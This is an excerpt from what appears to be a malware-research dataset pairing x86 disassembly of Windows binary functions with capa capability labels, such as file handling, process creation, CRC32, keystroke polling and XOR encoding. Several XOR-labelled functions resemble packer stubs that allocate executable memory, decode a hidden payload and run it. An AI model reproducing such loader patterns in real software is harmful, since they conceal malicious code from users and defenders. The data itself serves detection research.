joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407cfc
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x38]
lea edi, [ebp - 0x2c]
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 8]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x40001
mov dword [ebp - 0x28], 0x40c950
mov dword [ebp - 0x24], 0x40c950
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x40c940
mov dword [ebp - 0x38], 0xc
mov dword [ebp - 0x30], 0
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edx
push edx
test eax, eax
je 0x407d59
xor eax, eax
jmp 0x407d86
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xb7
jne 0x407d86
mov dword [esp + 8], edi
mov dword [esp + 4], 0x80000007
mov dword [esp], esi
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
sub esp, 0xc
test eax, eax
jne 0x407d55
call ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x407dbe
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [0x4369c0], 0x44
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], 0x4369c0
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x4000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
sub esp, 0x28
xor eax, eax
test edx, edx
je 0x407e3c
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, dword [ebp - 0x18]
leave
ret 4

Function at 0x407e40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x3c
mov dword [eax + 0x24], 0
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x4080b8
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
inc eax
push edx
je 0x4080e6
mov eax, ebx
mov dword [esp], esi
and eax, 0xfffffffe
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4

Function at 0x4080f1
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [esp], ebx
call fcn.004080b8
push ecx
cmp eax, 0xffffffff
jne 0x408112
xor edi, edi
jmp 0x40814f
mov dword [esp], ebx
mov esi, eax
test edi, 1
je 0x408147
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push edx
test eax, eax
jne 0x408140
and edi, 4
jne 0x40810e
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
jmp 0x40814f
mov edi, 1
jmp 0x40814f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x408125
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x408b1e
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov dword [0x4351c0], 0x55004e
mov dword [0x4351c4], 0x4c
test esi, esi
jne 0x408b77
mov eax, dword [ebp + 8]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4349c0
mov dword [esp], eax
call ebx
sub esp, 0xc
test eax, eax
je 0x408d6b
cmp eax, 0x400
jle 0x408bc8
jmp 0x408d6b
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], esi
call fcn.0040815b
sub esp, 0xc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4351c0
mov dword [esp], esi
call ebx
sub esp, 0xc
test eax, eax
je 0x408d6b
cmp eax, 0x400
jle 0x408b48
jmp 0x408d6b
mov dword [esp + 0xc], 0x4349c0
mov dword [esp + 8], 0x4351c0
mov dword [esp + 4], str._ls_ls_r_n
mov dword [esp], 0x4345c0
call dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x419930]
mov eax, dword [eax + 0x128]
mov dword [esp], 0x4349c0
mov dword [esp + 4], eax
call fcn.00408811
push edi
push edi
mov dword [esp + 8], 4
mov dword [esp + 4], 0xc0000000
mov dword [esp], 0x4349c0
call fcn.0040815b
sub esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
je 0x408d6b
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov eax, dword [ebp - 0x1c]
push ecx
push ecx
add eax, ebx
mov dword [ebp - 0x24], eax
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push esi
mov esi, eax
test eax, eax
je 0x408d61
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00408221
sub esp, 0xc
test eax, eax
je 0x408d61
mov dword [esp + 4], str._Rename__r_n
mov dword [esp], esi
call fcn.00408030
push edx
push edx
lea edx, [esi + ebx]
test eax, eax
jne 0x408cc2
mov dword [esp + 4], str._Rename__r_n
add ebx, 0xa
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, ebx
push eax
push eax
jmp 0x408d01
add eax, 0xa
mov dword [esp + 4], 0x40c74b
mov dword [esp], eax
mov dword [ebp - 0x28], edx
call fcn.00408030
mov dword [ebp - 0x20], eax
push ecx
push ecx
mov ecx, ebx
test eax, eax
je 0x408d01
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
add ecx, esi
cmp edx, dword [ebp - 0x20]
jbe 0x408cf9
mov al, byte [edx]
dec edx
dec ecx
mov byte [ecx + 1], al
jmp 0x408ceb
mov eax, dword [ebp - 0x20]
sub eax, esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
add ecx, esi
mov dword [esp + 4], 0x4345c0
mov dword [esp], ecx
mov dword [esp + 8], eax
call fcn.0040809b
add ebx, dword [ebp - 0x1c]
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.00408267
sub esp, 0xc
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push edx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x408df0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp], 0x4359c0
mov dword [esp + 4], eax
call fcn.0040866c
push ebx
push ebx
mov dword [esp], 0x4359c0
call fcn.00407f9c
push edx
test eax, eax
jne 0x408e21
xor eax, eax
jmp 0x408e9d
mov dword [esp], eax
mov ebx, eax
call fcn.00408734
push ecx
test byte [0x41992c], 0x80
je 0x408e43
mov ax, word [ebx]
test ax, ax
je 0x408e1d
cmp ax, 0x5c
je 0x408e1d
sub ebx, 0x4359c0
sar ebx, 1
mov dword [esp], 0x4359c0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ecx
mov dword [esp], 0x4359c0
cmp ebx, eax
jge 0x408e82
call fcn.00408db8
push edx
test eax, eax
je 0x408e73
test byte [eax], 0x10
je 0x408e1d
mov dword [esp], 0x4359c0
call fcn.00407f2a
push eax
jmp 0x408e4b
call fcn.004086a0
push eax
mov dword [esp], 0x4359c0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
push edx
setne al
movzx eax, al
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x409124
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x409162
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x409169
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
mov dword [esp + 4], str._s_S.dll
add edx, 0x40c720
add eax, ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, dword [ebp - 4]
sub esp, 0xc
leave
ret 4

Function at 0x409308
Capabilities:
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x436a24], 0
mov ebp, esp
push esi
mov edx, dword [ebp + 0xc]
push ebx
jne 0x409345
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
shr esi, 1
and eax, 1
je 0x409330
mov eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x409322
mov dword [ecx*4 + 0x436a20], eax
inc ecx
cmp ecx, 0x100
jne 0x40931b
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x409367
mov cl, byte [edx]
inc edx
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x436a20]
jmp 0x40934f
pop ebx
not eax
pop esi
pop ebp
ret 0xc
Function at 0x343f19f8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x343f6b04]
jne 0x34415a46
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x34419cd8], eax
mov dword [0x34419cd4], ecx
mov dword [0x34419cd0], edx
mov dword [0x34419ccc], ebx
mov dword [0x34419cc8], esi
mov dword [0x34419cc4], edi
mov word [0x34419cf0], ss
mov word [0x34419ce4], cs
mov word [0x34419cc0], ds
mov word [0x34419cbc], es
mov word [0x34419cb8], fs
mov word [0x34419cb4], gs
pushfd
pop dword [0x34419ce8]
mov eax, dword [ebp]
mov dword [0x34419cdc], eax
mov eax, dword [ebp + 4]
mov dword [0x34419ce0], eax
lea eax, [ebp + 8]
mov dword [0x34419cec], eax
mov eax, dword [ebp - 0x320]
mov dword [0x34419c28], 0x10001
mov eax, dword [0x34419ce0]
mov dword [0x34419bdc], eax
mov dword [0x34419bd0], 0xc0000409
mov dword [0x34419bd4], 1
mov eax, dword [0x343f6b04]
mov dword [ebp - 0x328], eax
mov eax, dword [0x34417ca0]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x34419c20], eax
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x34415b4c
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x34419c20], 0
jne 0x34415b36
push 1
call sub.msvcr80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x343f36f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x343f3708
pop dword [ebp - 0x14]
mov eax, 0x69ae427f
sub eax, 0x356f0b77
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x2d875a57
add dword [ebp - 0x24], 0x20caeaf4
mov dword [ebp - 0x20], 0x66133eba
sub dword [ebp - 0x20], 0x33dff275
mov dword [ebp - 0x1c], 0xad11f6b5
sub dword [ebp - 0x1c], 0x60c5b287
mov dword [ebp - 0x18], 0x164a8cfa
sub dword [ebp - 0x18], 0x164a8cfa
lea eax, [ebp - 0x24]
push eax
mov eax, 0xf79fec40
add eax, 0x3c9f24ec
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x9a6c16a9
sub dword [ebp - 0x24], 0x25f9ad53
mov dword [ebp - 0x20], 0xc8bd7650
sub dword [ebp - 0x20], 0x875114db
mov dword [ebp - 0x1c], 0xa03c028f
add dword [ebp - 0x1c], 0xc33369dd
mov dword [ebp - 0x18], 0x8e61bd22
add dword [ebp - 0x18], 0x719e42de
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x4d4ac4e7
sub eax, 0x190bb3bf
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3fead
push 0
call eax
mov ecx, 0x4b05
xor edx, edx
add edx, eax
mov ebx, 0x5b819bc
add ebx, 0x2e89b644
add ebx, dword [ebp - 0x14]
mov esi, 0x10e75eec
mov edi, dword [ebx]
mov dword [ebp - 0xc], 0xbe0e9ccc
sub edi, esi
xor dword [ebp - 8], 0xea84cf75
mov dword [edx], edi
mov dword [ebp - 8], 0x9f2d9de
add edx, 4
add ebx, 4
loop 0x343f3820
add eax, 0x11ee7
xor ebx, ebx
add ebx, eax
add eax, 0xaffaa917
sub eax, 0xaffaa912
mov ecx, 0xc645d824
sub ecx, 0x9206d824
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x1001b11a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1001b129
pop dword [ebp - 0x44]
mov eax, 0x1001b129
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3df58
push 0
mov eax, 0x3a20e27
sub eax, 0xf39ead4b
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x3616b2a5
sub ecx, 0x3616748c
xor edi, edi
add edi, eax
mov ebx, 0x12feba46
add ebx, 0xfd0503ba
add ebx, dword [ebp - 0x44]
mov esi, 0xfbaf8979
sub esi, 0xc6f7fe39
mov edx, dword [ebx]
xor dword [ebp - 0x10], ebx
add edx, esi
add dword [ebp - 0x10], 0x6851c3bc
mov dword [edi], edx
sub dword [ebp - 4], eax
add edi, 0x9777d335
add edi, 0x68882ccf
add ebx, 0xa9b17896
sub ebx, 0xa9b17892
loop 0x1001b185
add eax, 0xba6db6f5
sub eax, 0xba6ccbbe
mov ebx, eax
add eax, 0xbdfcd8fa
sub eax, 0xbdfcd8f5
mov ecx, 0x58e64aa4
sub ecx, 0x48e64aa4
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001b11a
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001b11a
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x1000fce4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000fcf3
pop dword [ebp - 0x40]
mov eax, 0x1000fcf3
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x42477
push 0
mov eax, 0x1ccd7e9d
sub eax, 0xcca5d45
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0xe016c35
add ecx, 0xf1fedf7b
xor ebx, ebx
add ebx, eax
mov edx, 0x10048000
add edx, dword [ebp - 0x40]
mov edi, 0x1bfa776c
sub edi, 0x9c7c6316
add dword [ebp - 0x20], 0xaaca8fe6
mov esi, dword [edx]
add dword [ebp - 0x28], 0xf3509a8a
add esi, edi
xor dword [ebp - 0xc], 0xca9d3b00
mov dword [ebx], esi
add dword [ebp - 0x10], esi
add ebx, 0xd08e008a
add ebx, 0x2f71ff7a
add edx, 0xd26a6a4b
add edx, 0x2d9595b9
loop 0x1000fd49
add eax, 0x42b48e52
add eax, 0xbd4c9341
xor ebx, ebx
add ebx, eax
add eax, 0x76233afc
add eax, 0x89dcc509
mov ecx, 0x6ec6064e
add ecx, 0xa139f9b2
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x10010c8b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x104c
call fcn.1002fb29
mov eax, dword [0x100400b0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
cmp ax, word [ecx]
je 0x10010d25
push 0xffffffffffffffff
push ecx
lea eax, [ebp - 0x104c]
push 0x824
push eax
call fcn.1000fce4
add esp, 0x10
cmp eax, 0x50
je 0x10010d25
lea ecx, [ebp - 0x104c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10010cce
sub ecx, edx
sar ecx, 1
call fcn.100078ac
test eax, eax
jle 0x10010d0b
push 0x5c
pop ecx
cmp cx, word [ebp + eax*2 - 0x104e]
jne 0x10010d0b
lea eax, [eax*2 - 2]
cmp eax, 0x1048
jae 0x10010d33
xor ecx, ecx
mov word [ebp + eax - 0x104c], cx
lea eax, [ebp - 0x104c]
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10010d25
shr eax, 4
and eax, 1
jmp 0x10010d27
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001c65c
leave
ret
call fcn.1000fce4
int3
Function at 0x32019bb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x32019bbf
pop dword [ebp - 0x24]
mov eax, 0xd38a2810
sub eax, 0xa1888c51
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x24b50a0a
add dword [ebp - 0x34], 0x299d3b41
mov dword [ebp - 0x30], 0xd7587b8b
add dword [ebp - 0x30], 0x5adad0ba
mov dword [ebp - 0x2c], 0xfcbf4e95
add dword [ebp - 0x2c], 0x4f8cf599
mov dword [ebp - 0x28], 0xc8d3948c
add dword [ebp - 0x28], 0x372c6b74
lea eax, [ebp - 0x34]
push eax
mov eax, 0x949149b2
add eax, 0x9d73e6d2
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xd01ee934
sub dword [ebp - 0x34], 0x5bac7fde
mov dword [ebp - 0x30], 0xaa1cfd65
sub dword [ebp - 0x30], 0x68b09bf0
mov dword [ebp - 0x2c], 0x3333fc5e
add dword [ebp - 0x2c], 0x303b700e
mov dword [ebp - 0x28], 0xa408646e
sub dword [ebp - 0x28], 0xa408646e
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x8fde6ce8
sub eax, 0x5dd93c6c
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x48ded
push 0
call eax
mov ecx, 0x4dd3
mov esi, eax
mov edi, 0x15a5c1a9
add edi, 0x1c61e057
add edi, dword [ebp - 0x24]
mov edx, 0x12336a6
add edx, 0x9d4b4d54
mov ebx, dword [edi]
sub dword [ebp - 0x14], 0x938e3b3b
sub ebx, edx
sub dword [ebp - 8], 0x6a351c0e
mov dword [esi], ebx
xor dword [ebp - 0x1c], 0xc7fef0a2
add esi, 0x70746bae
sub esi, 0x70746baa
add edi, 0xb70e0259
sub edi, 0xb70e0255
loop 0x32019cdb
add eax, 0x75f572c6
sub eax, 0x75f448a7
mov ebx, eax
add eax, 0x35b1b04b
add eax, 0xca4e4fba
mov ecx, 0xad7cf493
add ecx, 0x84830b6d
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x10009e2a
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10009e62
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10009e56
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
jmp 0x10009e60
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x10009e88
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
push 0x6020
push dword [ebp - 8]
push 0
push 0x530e
push dword [ebp - 0xc]
call fcn.10009e8c
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x1000c123
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1000c189
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1000c15c
push 0x213
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1000c187
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push dword [eax]
mov ecx, dword [ebp - 0x1c]
call fcn.1002fdaa
mov dword [eax], 0xfffe
jmp 0x1000c1a6
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x20], eax
push 0
push 0x6f26
push 0x2961
push dword [ebp - 0x20]
call fcn.1002083a
add esp, 0x10
mov esp, ebp
pop ebp
ret

Function at 0x1000c87c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1000c8a0
push 0x1af2
push 0x5379
push 1
call fcn.1000c8d9
add esp, 0xc
jmp 0x1000c8d5
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1000c8cd
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x1000c8d5
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esp, ebp
pop ebp
ret

Function at 0x1000d525
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1000d57b
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1000d569
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1000d567
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x1000d579
push 0x13bf
push 0x1d8d
call dword [sym.imp.GDI32.dll_SetLayout]
jmp 0x1000d5a0
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x14]
push 1
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.1000b5e6
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x1000d856
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1000d8a2
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1000d893
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x1000d8a0
push 0x5da
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x1000d8e4
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 0x6b3f
push 1
push 0x689c
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push 0x5819
push 0x7269
call fcn.1000a246
add esp, 0x24
mov esp, ebp
pop ebp
ret
Function at 0x1000e1b0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1000e1ff
lea eax, [ebp + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1000e1eb
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xd2250db8
jmp 0x1000e1fd
push 0x228d
push 0
push 0x1702
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x1000e221
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0x3d63
push 0
push 0x445a
push 0x37b2
push dword [ebp - 0x14]
call fcn.1000c77b
add esp, 0x14
mov esp, ebp
pop ebp
ret